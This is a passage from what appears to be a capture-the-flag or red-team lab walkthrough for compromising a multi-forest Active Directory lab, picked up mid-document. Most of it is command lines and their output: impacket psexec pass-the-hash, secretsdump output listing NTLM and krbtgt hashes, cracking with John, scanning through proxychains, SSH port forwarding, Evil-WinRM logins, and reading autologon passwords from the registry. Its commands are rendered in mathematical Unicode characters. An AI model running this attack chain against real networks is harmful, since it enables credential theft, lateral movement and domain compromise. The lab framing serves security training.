ℎ𝑎𝑠ℎ𝑒𝑠 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 8645𝑒87𝑒2593507𝑐𝑓623𝑓3291𝑏1334𝑐2

<Result>

𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝\𝑓𝑜𝑟𝑒𝑠𝑡_𝑢𝑠𝑒𝑟: 1107: 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 𝑏7001𝑏2𝑑𝑏𝑒0𝑓𝑏𝑑𝑏𝑑62𝑒𝑒4𝑏3𝑏𝑑𝑒2410𝑏9

</Result>

25
 Credentials of “forest_user” are extracted as follows:

We will now perform psexec against the ‘mgmt-DC’ server. The IP address of mgmt.corp domain can be
enumerated using a simple DNS query (i.e nslookup mgmt.corp).

26
 5 MGMT-DC Server

Using “forest_user” we can establish a persistent connection using impacket’s psexec script since it is a
member of local administrators in the mgmt.corp domain.

Psexec as ‘forest_user’ on ‘mgmt.corp’ domain:

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑝𝑦𝑡ℎ𝑜𝑛 𝑝𝑠𝑒𝑥𝑒𝑐. 𝑝𝑦 − 𝑑𝑒𝑏𝑢𝑔 − 𝑑𝑐 − 𝑖𝑝 10.10.3.2 𝑓𝑜𝑟𝑒𝑠𝑡_𝑢𝑠𝑒𝑟@𝑀𝐺𝑀𝑇 − 𝐷𝐶 −

ℎ𝑎𝑠ℎ𝑒𝑠 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 𝑏7001𝑏2𝑑𝑏𝑒0𝑓𝑏𝑑𝑏𝑑62𝑒𝑒4𝑏3𝑏𝑑𝑒2410𝑏9

Switch to PowerShell

You will see something similar to the below.

We will also use the Active Directory Module present in the server to list any OU present in the MGMT-
DC and all the members present in the available OU’s.

LIST all OU’s in MGMT.CORP

𝐼𝑚𝑝𝑜𝑟𝑡 − 𝑀𝑜𝑑𝑢𝑙𝑒 𝐴𝑐𝑡𝑖𝑣𝑒𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦

𝐺𝑒𝑡 − 𝐴𝐷𝑂𝑏𝑗𝑒𝑐𝑡 − 𝐹𝑖𝑙𝑡𝑒𝑟 {𝑂𝑏𝑗𝑒𝑐𝑡𝐶𝑙𝑎𝑠𝑠 − 𝑒𝑞 ‘𝑜𝑟𝑔𝑎𝑛𝑖𝑧𝑎𝑡𝑖𝑜𝑛𝑎𝑙𝑢𝑛𝑖𝑡’} − 𝑃𝑟𝑜𝑝𝑒𝑟𝑡𝑖𝑒𝑠 𝐶𝑎𝑛𝑜𝑛𝑖𝑐𝑎𝑙𝑁𝑎𝑚𝑒 | 𝑆𝑒𝑙𝑒𝑐𝑡 − 𝑂𝑏𝑗𝑒𝑐𝑡 𝐷𝑖𝑠𝑡𝑖𝑛𝑔𝑢𝑖𝑠ℎ𝑒𝑑𝑁𝑎𝑚𝑒

Get Members of “Bastion-Host” OU

$𝑜𝑢𝑝𝑎𝑡ℎ = “𝑂𝑈 = 𝐵𝑎𝑠𝑡𝑖𝑜𝑛 − 𝐻𝑜𝑠𝑡, 𝐷𝐶 = 𝑚𝑔𝑚𝑡, 𝐷𝐶 = 𝑐𝑜𝑟𝑝”

𝐺𝑒𝑡 − 𝐴𝐷𝑈𝑠𝑒𝑟 − 𝐹𝑖𝑙𝑡𝑒𝑟 ∗ −𝑆𝑒𝑎𝑟𝑐ℎ𝐵𝑎𝑠𝑒 $𝑜𝑢𝑝𝑎𝑡ℎ

(𝑗𝑢𝑚𝑝 − 𝑎𝑑𝑚𝑖𝑛 𝑢𝑠𝑒𝑟 𝑑𝑖𝑠𝑐𝑜𝑣𝑒𝑟𝑒𝑑 )

27
The Domain user “Jump-Admin” present in the “Bastion-Host” OU can be useful in moving forward from
the MGMT-DC server. The IP address of “jump-srv” server can be enumerated by actively querying the
DNS record.

𝑛𝑠𝑙𝑜𝑜𝑘𝑢𝑝 𝑗𝑢𝑚𝑝 − 𝑠𝑟𝑣

<..SNIP..>

Name: jump-srv.mgmt.corp
IP Address: 10.10.3.3

<../SNIP..>

However, we will extract all the credentials present in the MGMT.CORP domain leveraging impacket’s
sercretsdump.py script.

On a new bash prompt using our route to internal network [10.10.3.0/24], we will execute secretsdump.py
as follows:

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑠𝑒𝑐𝑟𝑒𝑡𝑠𝑑𝑢𝑚𝑝. 𝑝𝑦 − 𝑑𝑒𝑏𝑢𝑔 − 𝑑𝑐 − 𝑖𝑝 10.10.3.2 𝑠𝑝𝑛_𝑠𝑣𝑐@𝑀𝐺𝑀𝑇 − 𝐷𝐶. 𝑀𝐺𝑀𝑇. 𝐶𝑂𝑅𝑃

[..SNIP..]

𝒎𝒈𝒎𝒕 − 𝒂𝒅𝒎𝒊𝒏: 500: 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 86𝑐64𝑎256𝑒8𝑎𝑒𝑏2𝑒𝑑𝑓31𝑏4157𝑏𝑓6𝑏𝑒𝑐𝑏: : :

𝒌𝒓𝒃𝒕𝒈𝒕: 502: 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 2𝑎7𝑎0𝑓537983𝑏𝑎𝑐4120725𝑑055𝑓𝑐𝑏𝑏𝑎9: : :
𝒎𝒈𝒎𝒕. 𝒄𝒐𝒓𝒑\𝒋𝒖𝒎𝒑 − 𝒂𝒅𝒎𝒊𝒏: 1104: 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 𝟐𝒅𝒄𝟗𝒃𝒇𝒇𝟑𝟗𝟕𝒇𝟗𝒆𝟔𝒄𝟗𝒇𝟎𝟖𝒂𝟎𝟓𝒃𝟏𝟖𝟏𝟒𝟓𝒂𝟕𝒃𝟔: : :
𝒎𝒈𝒎𝒕. 𝒄𝒐𝒓𝒑\𝒔𝒑𝒏_𝒔𝒗𝒄: 1106: 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 2𝑑𝑐9𝑏𝑓𝑓397𝑓9𝑒6𝑐9𝑓08𝑎05𝑏18145𝑎7𝑏6: : :

[..SNIP..]

Crack the “jump-admin” hash using JTR [John] by storing the NT hash in a file.

→ Crack jump-admin hash(2dc9bff397f9e6c9f08a05b18145a7b6):

Copy the hash “2dc9bff397f9e6c9f08a05b18145a7b6” in jump-adminpass.txt file

𝑗𝑜ℎ𝑛 − −𝑓𝑜𝑟𝑚𝑎𝑡 = 𝑁𝑇 𝑗𝑢𝑚𝑝 − 𝑎𝑑𝑚𝑖𝑛𝑝𝑎𝑠𝑠. 𝑡𝑥𝑡 − 𝑤 =/𝑢𝑠𝑟/𝑠ℎ𝑎𝑟𝑒/𝑤𝑜𝑟𝑑𝑙𝑖𝑠𝑡𝑠/𝑟𝑜𝑐𝑘𝑦𝑜𝑢. 𝑡𝑥𝑡

28
The hash is cracked and we now have clear text credentials of the “jump-admin” user at the “Jump-
Admin” machine.

29
6 Jump-Srv

Let’s perform a TCP port scan against the target 10.10.3.3 [jump-srv.mgmt.corp] using nmap and
leveraging the route to the 10.10.3.0/24 network.

With meterpreter active route to “10.10.3.0/24” network & on new bash shell

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑛𝑚𝑎𝑝 − −𝑡𝑜𝑝 − 𝑝𝑜𝑟𝑡𝑠 10 − 𝑠𝑇 − 𝑠𝑉 − 𝑃𝑛 10.10.3.3

<..SNIP..>

𝑁𝑚𝑎𝑝 𝑠𝑐𝑎𝑛 𝑟𝑒𝑝𝑜𝑟𝑡 𝑓𝑜𝑟 10.10.3.3

𝐻𝑜𝑠𝑡 𝑖𝑠 𝑢𝑝 (2.4𝑠 𝑙𝑎𝑡𝑒𝑛𝑐𝑦).

𝑃𝑂𝑅𝑇 𝑆𝑇𝐴𝑇𝐸 𝑆𝐸𝑅𝑉𝐼𝐶𝐸 𝑉𝐸𝑅𝑆𝐼𝑂𝑁

21/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 𝑓𝑡𝑝
𝟐𝟐/𝒕𝒄𝒑 𝒐𝒑𝒆𝒏 𝒔𝒔𝒉 𝑶𝒑𝒆𝒏𝑺𝑺𝑯 𝟕. 𝟐𝒑𝟐 𝑼𝒃𝒖𝒏𝒕𝒖 𝟒𝒖𝒃𝒖𝒏𝒕𝒖𝟐. 𝟖 (𝑼𝒃𝒖𝒏𝒕𝒖 𝑳𝒊𝒏𝒖𝒙; 𝒑𝒓𝒐𝒕𝒐𝒄𝒐𝒍 𝟐. 𝟎)
23/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 𝑡𝑒𝑙𝑛𝑒𝑡
25/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 𝑠𝑚𝑡𝑝
80/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 ℎ𝑡𝑡𝑝
110/𝑡𝑐𝑝 𝑐𝑙𝑜𝑠𝑒𝑑 𝑝𝑜𝑝3

<..SNIP..>

SSH server is running on TCP port 22. As ‘jump-srv.mgmt.corp’ machine is managed by “jump-
admin”, we can try to do SSH to ‘10.10.3.3’ machine using Jump-Admin Domain user.

Perform SSH to 10.10.3.3 as jump-admin domain user.

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑠𝑠ℎ − 𝑙 𝑗𝑢𝑚𝑝 − 𝑎𝑑𝑚𝑖𝑛@𝑀𝐺𝑀𝑇. 𝐶𝑂𝑅𝑃 10.10.3.3

NOTE: enter jump-admin cracked password ‘B@DB!tch’

We successfully SSHed to Jump-SRV.mgmt.corp as the “jump-admin” domain user.

30
Let’s also extract the bookmark URLs of Firefox in this machine and look if any interesting information can
be found (as jump-admin user).

As ‘Jump-admin’ domain user

𝑐𝑑 /. 𝑚𝑜𝑧𝑖𝑙𝑙𝑎/𝑓𝑖𝑟𝑒𝑓𝑜𝑥/2𝑠3𝑝6𝑚1𝑣. 𝑑𝑒𝑓𝑎𝑢𝑙𝑡 − 𝑟𝑒𝑙𝑒𝑎𝑠𝑒

𝑠𝑞𝑙𝑖𝑡𝑒3 𝑝𝑙𝑎𝑐𝑒𝑠. 𝑠𝑞𝑙𝑖𝑡𝑒

Inside SQLite

. 𝑡𝑎𝑏𝑙𝑒𝑠
𝑠𝑒𝑙𝑒𝑐𝑡 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠. 𝑢𝑟𝑙 𝑓𝑟𝑜𝑚 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠;
. 𝑞𝑢𝑖𝑡

𝑓𝑜𝑢𝑛𝑑 𝑈𝑅𝐿: 𝒉𝒕𝒕𝒑𝒔://𝒂𝒅𝒎𝒊𝒏 − 𝒔𝒚𝒔. 𝒔𝒊𝒕𝒆/𝒍𝒐𝒈𝒊𝒏. 𝒂𝒔𝒑? 𝒖𝒔𝒆𝒓 = 𝒔𝒚𝒔 − 𝒂𝒅𝒎𝒊𝒏&𝒑𝒂𝒔𝒔 = 𝑹𝒂𝒏𝒅𝟎𝒎𝒍𝒚𝑺𝟑𝒍𝟑𝒄𝒕𝒆𝒅𝑷@𝒔𝒔

However, using firefox with proxychains querying the login URL, shows that it is non-existent, Now
enumerate the IP address of admin-sys server by pinging the URL.

𝑝𝑖𝑛𝑔 𝑎𝑑𝑚𝑖𝑛 − 𝑠𝑦𝑠. 𝑠𝑖𝑡𝑒

Discovered IP address [192.168.1.2]

Performing TCP port scan on the target “192.168.1.2” reveals that the 5985 port is open, which means
one can always do PowerShell Remoting.

31
7 Admin-SYS

In order to perform PowerShell Remoting, we need to apply some port forwarding techniques.

Exit the SSH session and re-establish a new session with port forwarding switches.

Using port forwarding, we are specifying that all the traffic sent locally will be forwarded to the
‘admin-sys’ server [192.168.1.2]

On a new bash session

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑠𝑠ℎ − 𝑙 𝑗𝑢𝑚𝑝 − 𝑎𝑑𝑚𝑖𝑛@𝑀𝐺𝑀𝑇. 𝐶𝑂𝑅𝑃 10.10.3.3 − 𝐿 5985: 192.168.1.2: 5985

(Now at this very particular point, traffic from your attacker machine can reach the admin-sys machine)

Use Evil-WinRM to connect to 192.168.1.2 machine with the discovered credentials

./𝑒𝑣𝑖𝑙 − 𝑤𝑖𝑛𝑟𝑚. 𝑟𝑏 − 𝑖 127.0.0.1 − 𝑢 𝑠𝑦𝑠 − 𝑎𝑑𝑚𝑖𝑛 − 𝑝 𝑅𝑎𝑛𝑑0𝑚𝑙𝑦𝑆3𝑙3𝑐𝑡𝑒𝑑𝑃@𝑠𝑠

Enumerating the environment reveals that “sys-admin” is a local user at the admin-sys server.
Privilege escalation can be done by querying the autologin registry.

Clear Text credentials of Administrator are found.

32
 On the recently established WinRM session

𝑟𝑒𝑔 𝑞𝑢𝑒𝑟𝑦 "𝐻𝐾𝐿𝑀\𝑆𝑂𝐹𝑇𝑊𝐴𝑅𝐸\𝑀𝑖𝑐𝑟𝑜𝑠𝑜𝑓𝑡\𝑊𝑖𝑛𝑑𝑜𝑤𝑠 𝑁𝑇\𝐶𝑢𝑟𝑟𝑒𝑛𝑡𝑣𝑒𝑟𝑠𝑖𝑜𝑛\𝑊𝑖𝑛𝑙𝑜𝑔𝑜𝑛"

<..SNIP..>

𝐻𝐾𝐸𝑌_𝐿𝑂𝐶𝐴𝐿_𝑀𝐴𝐶𝐻𝐼𝑁𝐸\𝑆𝑂𝐹𝑇𝑊𝐴𝑅𝐸\𝑀𝑖𝑐𝑟𝑜𝑠𝑜𝑓𝑡\𝑊𝑖𝑛𝑑𝑜𝑤𝑠 𝑁𝑇\𝐶𝑢𝑟𝑟𝑒𝑛𝑡𝑣𝑒𝑟𝑠𝑖𝑜𝑛\𝑊𝑖𝑛𝑙𝑜𝑔𝑜𝑛
𝐴𝑢𝑡𝑜𝑅𝑒𝑠𝑡𝑎𝑟𝑡𝑆ℎ𝑒𝑙𝑙 𝑅𝐸𝐺_𝐷𝑊𝑂𝑅𝐷 0𝑥1
𝐵𝑎𝑐𝑘𝑔𝑟𝑜𝑢𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 0 0 0
𝐶𝑎𝑐ℎ𝑒𝑑𝐿𝑜𝑔𝑜𝑛𝑠𝐶𝑜𝑢𝑛𝑡 𝑅𝐸𝐺_𝑆𝑍 10
𝐷𝑒𝑏𝑢𝑔𝑆𝑒𝑟𝑣𝑒𝑟𝐶𝑜𝑚𝑚𝑎𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑛𝑜
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑈𝑠𝑒𝑟𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑨𝒅𝒎𝒊𝒏𝒊𝒔𝒕𝒓𝒂𝒕𝒐𝒓
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝐷𝑜𝑚𝑎𝑖𝑛𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑊𝐼𝑁 − 10 − 𝑃𝑅𝑂 − 𝑋64
𝐴𝑢𝑡𝑜𝐴𝑑𝑚𝑖𝑛𝐿𝑜𝑔𝑜𝑛 𝑅𝐸𝐺_𝑆𝑍 1
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑃𝑎𝑠𝑠𝑤𝑜𝑟𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑻𝒆𝒔𝒕@𝟏𝟐𝟑

<..SNIP..>

Reconnect to the ‘admin-sys’ server with local administrator credentials.

./𝑒𝑣𝑖𝑙 − 𝑤𝑖𝑛𝑟𝑚. 𝑟𝑏 − 𝑖 127.0.0.1 − 𝑢 𝐴𝑑𝑚𝑖𝑛𝑖𝑠𝑡𝑟𝑎𝑡𝑜𝑟 − 𝑝 𝑇𝑒𝑠𝑡@123

𝑡𝑦𝑝𝑒 𝐶:\𝑈𝑠𝑒𝑟𝑠\𝐴𝑑𝑚𝑖𝑛𝑖𝑠𝑡𝑟𝑎𝑡𝑜𝑟\𝐷𝑒𝑠𝑘𝑡𝑜𝑝\𝑇𝑟𝑖𝑢𝑚𝑝ℎ. 𝑡𝑥𝑡

<Result>

CONGRATULATIONS, YOU HAVE SUCCESSFULLY COMPROMISED MULTI-FOREST RED TEAM ENVIRONMENT!!

<3

</Result>

Congratulations!!

The Multi-Forest Red Team Environment is successfully compromised.

33